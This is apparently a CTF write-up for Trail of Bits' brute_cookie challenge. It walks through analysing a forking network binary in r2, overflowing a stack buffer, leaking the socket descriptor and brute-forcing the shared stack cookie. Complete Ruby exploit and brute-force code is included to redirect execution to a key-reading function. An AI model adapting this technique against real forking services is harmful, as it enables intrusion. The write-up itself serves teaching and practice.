Trail of Bits released a number of CTF challeleges on Github.

This post is about the brute_cookie binary exploitation challenge.

The brute_cookie challenge is found in the ctf/exploits/binary2_workshop/brute_cookie/ directory. It contains only a single binary (bc) and no source code.

Analysing the disassembly in r2 we see this binary listens on port 12345 and forks a new child to handle each client. The children print out the file descriptor of the accepted socket (in the guise of fprintf(socket_fd, "Welcome client #%u\n", socket_fd);). This information leak is important for later. The child process then reads input from the socket inside the firstFunc function. Unfortunately it tries to read 0x2000 bytes into a 0x1000 byte buffer. This is more than enough to overflow the return address in the stack frame.

The return address is protected by a stack cookie, however we can see from running the binary and connecting with multiple clients that the cookie is the same for each child. This problem makes it possible for us to simply brute force the cookie.

† ./bc &
[1] 19904
† nc localhost 12345
nc: using stream socket
Greetings client #4
cookie: 16604500
^C
† nc localhost 12345
nc: using stream socket
cookie: 16604500
Greetings client #4
^C
† nc localhost 12345
nc: using stream socket
Greetings client #4
cookie: 16604500
^C

But what do we want to change the return address to? The binary does not have all symbols stripped so looking through function names we can see a readKey function. Disassembling shows us that it reads 0x29 bytes from a file called key in the current working directory and is not called referenced by any other code in the binary so I guess redirecting execution flow to this function is the goal of this particular CTF. Note that the CTF does not come with a key file so I guess we need to make one ourselves. If you forget and plough ahead with exploitation you will run into some annoying segfaults as the process tries to read a non existent flag file!

† ruby -e 'puts "bunny" * 8' > key

So we want to overflow the buffer, and replace the return address with the address of readKey while keeping the stack cookie intact. There is one more caveat. The readKey function takes an argument which is the file descriptor to write the key out to. This is where the information leak from before comes in.

The way I decided to approach this was to write a Ruby script to run the binary under r2 and use the debugger to read out the real cookie and develop an exploit from there. At the end when everything is working we can take away the debugger and add the brute force logic.

The binary helpfully prints out the stack cookie whenever a client connects however it would be nice to also have a nice print out of the stack before and after the overflow to help us write the exploit, so lets start with that.

Because r2pipe blocks while the debugged application is running, we will run it in a separate thread. We will use Ruby’s native sockets implementation to play the part of the client and we will use condition variables to coordinate when each thread should do what. Here is an outline without the details of the r2 thread.

    #!/usr/bin/ruby
    require 'r2pipe'
    require 'socket'
    require 'thread'

    m = Mutex.new
    c = ConditionVariable.new

    r2_thread = Thread.new do
      ...
    end

    puts "[*] Client is waiting for r2 to start"
    m.synchronize { c.wait(m) }
    sleep 1

    puts "[*] Client is connecting"
    s = TCPSocket.new 'localhost', 12345
    s.close

    puts "[*] Client is waiting for r2 to finish."
    r2_thread.join
    

The m.synchronize { c.wait(m) } will wait until the r2 thread has started, so there won’t be a race condition between starting the bc binary and trying to connect as a client.

For now, all we want is the r2 thread to start the bc binary, signal to the client part of the script that is it ready to handle connections, break on the vulnerable stack overflow function and then print out the stack including the cookie.

    r2_thread = Thread.new do
      r2 = R2Pipe.new "/home/user/ctf/exploits/binary2_workshop/brute_cookie/bc"
      r2.cmd 'doo'

      r2.cmd "e dbg.follow.child=true"
      r2.cmd "e dbg.forks=true"

      # |   sym.firstFunc (int arg_8h);
      # ...
      # |           0x0804878d      55             push ebp
      # |           0x0804878e      89e5           mov ebp, esp
      # |           0x08048790      81ec28100000   sub esp, 0x1028
      # |           0x08048796      65a114000000   mov eax, dword gs:[0x14]
      # |           0x0804879c      8945f4         mov dword [local_ch], eax
      # |  -------> 0x0804879f      31c0           xor eax, eax
      # |           0x080487a1      8d85f4efffff   lea eax, [local_100ch]
      cookie_make_addr = "0x0804879f"
      r2.cmd("db #{cookie_make_addr}")

      puts "[+] r2 is waiting for connection on port 12345"
      m.synchronize { c.signal }
      r2.cmd "dc"

      puts("[+] r2 stack before overflow")
      registers = r2.json(r2.cmd("drj"))
      ebp = "0x#{registers['ebp'].to_i.to_s(16)}"
      puts("+-----------------------------------------+")
      puts("| ebp + 0xc                  | #{r2.cmd("pv4 @ #{ebp}+0xc").chomp} |")
      puts("| ebp + 0x8                  | #{r2.cmd("pv4 @ #{ebp}+0x8").chomp} |")
      puts("| ebp + 0x4 (return address) | #{r2.cmd("pv4 @ #{ebp}+0x4").chomp} |")
      puts("| ebp + 0x0                  | #{r2.cmd("pv4 @ #{ebp}+0x0").chomp} |")
      puts("| ebp - 0x4                  | #{r2.cmd("pv4 @ #{ebp}-0x4").chomp} |")
      puts("| ebp - 0x8                  | #{r2.cmd("pv4 @ #{ebp}-0x8").chomp} |")
      puts("| ebp - 0xc (cookie)         | #{r2.cmd("pv4 @ #{ebp}-0xc").chomp} |")
      puts("+-----------------------------------------+")

      r2.cmd "qyn"
    end
    

Example output of running what we have so far:

[*] Client is waiting for r2 to start
[+] r2 is waiting for connection on port 12345
[*] Client is connecting
[*] Client is waiting for r2 to finish.
[+] r2 stack before overflow
+-----------------------------------------+
| ebp + 0xc                  | 0xffa9763c |
| ebp + 0x8                  | 0x00000004 |
| ebp + 0x4 (return address) | 0x08048879 |
| ebp + 0x0                  | 0xffa98648 |
| ebp - 0x4                  | 0xf764a223 |
| ebp - 0x8                  | 0xffa9763c |
| ebp - 0xc (cookie)         | 0x72e99300 |
+-----------------------------------------+

At this point the r2 thread could just pass the cookie to the client thread so we can create a working exploit before brute forcing the cookie. We should be able to calculate the correct offsets to construct our exploit payload from the disassembly.

[0x00000000]> pdf @ sym.firstFunc
|   sym.firstFunc (int arg_8h);
|           ; var int local_1010h @ ebp-0x1010
|           ; var int local_100ch @ ebp-0x100c
|           ; var int local_ch @ ebp-0xc
|           ; arg int arg_8h @ ebp+0x8
...
|           0x08048790      81ec28100000   sub esp, 0x1028
...
|           0x08048796      65a114000000   mov eax, dword gs:[0x14]    ; [0x14:4]=1
|           0x0804879c      8945f4         mov dword [local_ch], eax
...
|           0x080487ca      c74424080020.  mov dword [local_8h], 0x2000 ; [0x2000:4]=-1
|           0x080487d2      8d85f4efffff   lea eax, [local_100ch]
|           0x080487d8      89442404       mov dword [local_4h], eax
|           0x080487dc      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=0
|           0x080487df      890424         mov dword [esp], eax
|           0x080487e2      e849fdffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)

We can see here the buffer starts at ebp-0x100c and ends at ebp-0xc, which is where the stack cookie is. Then for some reason there is 8 bytes of stuff between the cookie (ebp-0xc) and the saved base pointer (ebp) and after that (ebp+4) is the return address we want to overwrite. And after that (ebp+8) is the file descriptor argument and (ebp+0xc) is the saved base pointer from the previous function call.

+-------------------------------+
| ebp + 0xc    | previous ebp   |
| ebp + 0x8    | socket fd arg  |
| ebp + 0x4    | return address |
| ebp          | saved ebp      |
| ebp - 0x4    | dunno          |
| ebp - 0x8    | dunno          |
| ebp - 0xc    | stack cookie   |
| ebp - 0xd    | buffer end     |
| ...          | ...            |
| ebp - 0x100c | buffer start   |
+-------------------------------+

After executing the flag function we don’t necessarily want the binary to crash when it tries to return to an invalid address like 0xaaaaaaaa so we may as well give it somewhere sensible to return back to.

So our payload looks like this, where cookie_g will be the correct cookie extracted from the r2 debugger thread.

def addr_to_str addr
  # We need to convert from numeric to little Endian string format.
  return (addr & 0xff).chr +
    ((addr >> 8) & 0xff).chr +
    ((addr >> 16) & 0xff).chr +
    ((addr >> 24) & 0xff).chr
end

junk = ('A' * 0x1000) # input buffer
cookie_overwrite = addr_to_str(cookie_g)
junk2 = 'BBBB' * 3 # (2 bytes of unknown + saved base pointer)
flag_fn_addr = 0x08048714
# sym.readKey (int arg_8h);
# 0x08048714      55             push ebp

return_overwrite = addr_to_str(flag_fn_addr)
exit_fn_addr = 0x08048a2c
# 0x08048a2c      c70424010000.  mov dword [esp], 1
# 0x08048a33      e888fbffff     call sym.imp.exit

return_return_overwrite = addr_to_str(exit_fn_addr)

response = junk + cookie_overwrite + junk2 + return_overwrite +
    return_return_overwrite + flag_write_fd
s.puts(response)

And from the r2 thread, we can simply pass the cookie through the global variable cookie_g.

cookie_g = ""
r2_thread = Thread.new do
  ...
  puts("[+] r2 stack before overflow")
  print_stack(r2)

  registers = r2.json(r2.cmd("drj"))
  ebp = "0x#{registers['ebp'].to_i.to_s(16)}"
  cookie_g = r2.cmd("pv4 @ #{ebp}-0xc").chomp.to_i(16)
  m.synchronize { c.signal }

  # |           0x080487df      890424         mov dword [esp], eax
  # |           0x080487e2      e849fdffff     call sym.imp.read
  # |           0x080487e7      8b45f4         mov eax, dword [local_ch]
  # | --------> 0x080487ea      653305140000.  xor eax, dword gs:[0x14]
  # |       ,=< 0x080487f1      7405           je 0x80487f8
  # |       |   0x080487f3      e858fdffff     call sym.imp.__stack_chk_fail
  # |       |      ; JMP XREF from 0x080487f1 (sym.firstFunc)
  # |       `-> 0x080487f8      c9             leave
  # \           0x080487f9      c3             ret
  cookie_check_addr = "0x080487ea"
  r2.cmd "db #{cookie_check_addr}"
  r2.cmd "dc"
  puts("[+] r2 stack after overflow")
  print_stack r2
  r2.cmd "dc"

  puts("[+] r2 is done")
  r2.cmd "qyn"
end

From the client thread there is nothing left to do but read the flag from the socket and cleanup.

    flag = begin
      s.read(0x29).gsub(/(^\s+|\s+$)/, '')
    rescue
      nil
    end

    if flag then
      puts("[*] Client got flag #{flag}")
    else
      puts("[*] No flag")
    end

    s.close
    puts "[*] Client is waiting for r2 to finish."
    r2_thread.join
    

Example output looks like this

[*] Client is waiting for r2 to start
[+] r2 is waiting for connection on port 12345
[*] Client is connecting
[*] Main got banner and fd = 4.
[*] Client is waiting for r2 thread to send cookie
[+] r2 stack before overflow
+-----------------------------------------+
| ebp + 0xc                  | 0xffc5763c |
| ebp + 0x8                  | 0x00000004 |
| ebp + 0x4 (return address) | 0x08048879 |
| ebp + 0x0                  | 0xffc58648 |
| ebp - 0x4                  | 0xf7604223 |
| ebp - 0x8                  | 0xffc5763c |
| ebp - 0xc (cookie)         | 0x7a35c100 |
+-----------------------------------------+
[*] Client got cookie 0x7a35c100
[+] r2 continue
[+] r2 stack after overflow
+-----------------------------------------+
| ebp + 0xc                  | 0x00000004 |
| ebp + 0x8                  | 0x08048a2c |
| ebp + 0x4 (return address) | 0x08048714 |
| ebp + 0x0                  | 0x42424242 |
| ebp - 0x4                  | 0x42424242 |
| ebp - 0x8                  | 0x42424242 |
| ebp - 0xc (cookie)         | 0x7a35c100 |
+-----------------------------------------+
[*] Client got flag bunnybunnybunnybunnybunnybunnybunnybunny
[*] Client is waiting for r2 to finish.
[+] r2 is done

If for some reason the exploit didn’t work, having r2 print out the stack before and after the overflow like this is invaluable.

Now that we have a working exploit, all we need to do is replace cookie_g with our brute force values. We should also ditch the debugger and add multithreading to the client so that it won’t take 3 years to exhaust the search space.

The first step is to wrap the exploit code into a function that takes a cookie to try as an argument.

  def exploit cookie, quite=false

    quite or puts "[*] Main is waiting for r2 to start"
    sleep 1
    quite or puts "[*] Main is connecting"
    s = TCPSocket.new 'localhost', 12345

    # This client number is literally the file descriptor of the accept'ed socket.
    # We need this because the flag function takes the fd to write the flag to as
    # as argument. We need to setup the correct fd on the stack before jumping to it.
    fd = s.expect(/Greetings client #(\d+)/)[1]
    quite or puts "[*] Main got banner and fd = #{fd}."

    junk = ('A' * 0x1000) # input buffer
    cookie_overwrite = addr_to_str cookie
    junk2 = 'BBBB' * 3 # (2 bytes of unknown + saved base pointer)
    flag_fn_addr = 0x08048714
    return_overwrite = addr_to_str flag_fn_addr
    exit_fn_addr = 0x08048a2c
    return_return_overwrite = addr_to_str exit_fn_addr
    flag_write_fd = addr_to_str fd.to_i

    response = junk + cookie_overwrite + junk2 + return_overwrite +
      return_return_overwrite + flag_write_fd
    quite or puts "[*] main sending response "
    s.puts(response)

    flag = begin
      s.read(0x29).gsub(/(^\s+|\s+$)/, '')
    rescue
      nil
    end

    s.close
    flag
  end
  

We can use this function like so

  bc_thread = Thread.new do
    system("/home/user/ctf/exploits/binary2_workshop/brute_cookie/bc &> /dev/null")
  end

  flag = exploit(0x88888800, quite=false)
  p flag
  

Example output

[*] Main is waiting for r2 to start
[*] Main is connecting
[*] Main got banner and fd = 4.
[*] main sending response
""

We got nil instead of the flag, I guess 0x88888800 wasn’t the cookie this time.

We can attempt multiple cookies at the same time by spawning threads like this. Note that the bottom 8 bits of the cookies have always been zero so far, so this function will take a 24 bit number of multiply by 0x100 to turn it into a 32 bit number with the bottom 8 bits set to zero.

  def exploit_range st, en
    threads = []
    step = 0x100
    st *= step
    en *= step
    puts("[+] Trying 0x#{st.to_s(16)}..0x#{en.to_s(16)}")
    st.step(en, step).each do |n|
      threads << Thread.new do
        puts n.to_s(16)
        exploit n, nil, quite=true
      end
    end

    threads.each do |t|
      flag = t.value

      if flag and !flag.empty? then
        puts "[+] got flag <#{flag}>"
        exit 0
      end
    end
  end
  

Since the code exits right away when it finds the flag, all we need to do is call the function like this.

  exploit_range 0x888880, 0x888888
  puts("[!] No flag, sorry")
  

Example output

[+] Trying 0x88888000..0x88888800
88888000
88888800
88888600
88888700
88888500
88888400
88888300
88888200
88888100
[!] No flag, sorry

At this point it may be temping to wack the full 24 bit range into the exploit_range function. You might find that spawning 2^24 threads within the same Ruby script to be a disappointing experience. We need to do a few at a time.

  def exploit_all step
    st = 0x000001
    en = 0x0000ff

    st.step(en, step) do |n|
      exploit_range(n, n+step)
    end
  end
  

Now we can leave the brute force code running and be confident that the exploit will work when the correct cookie value is finally guessed.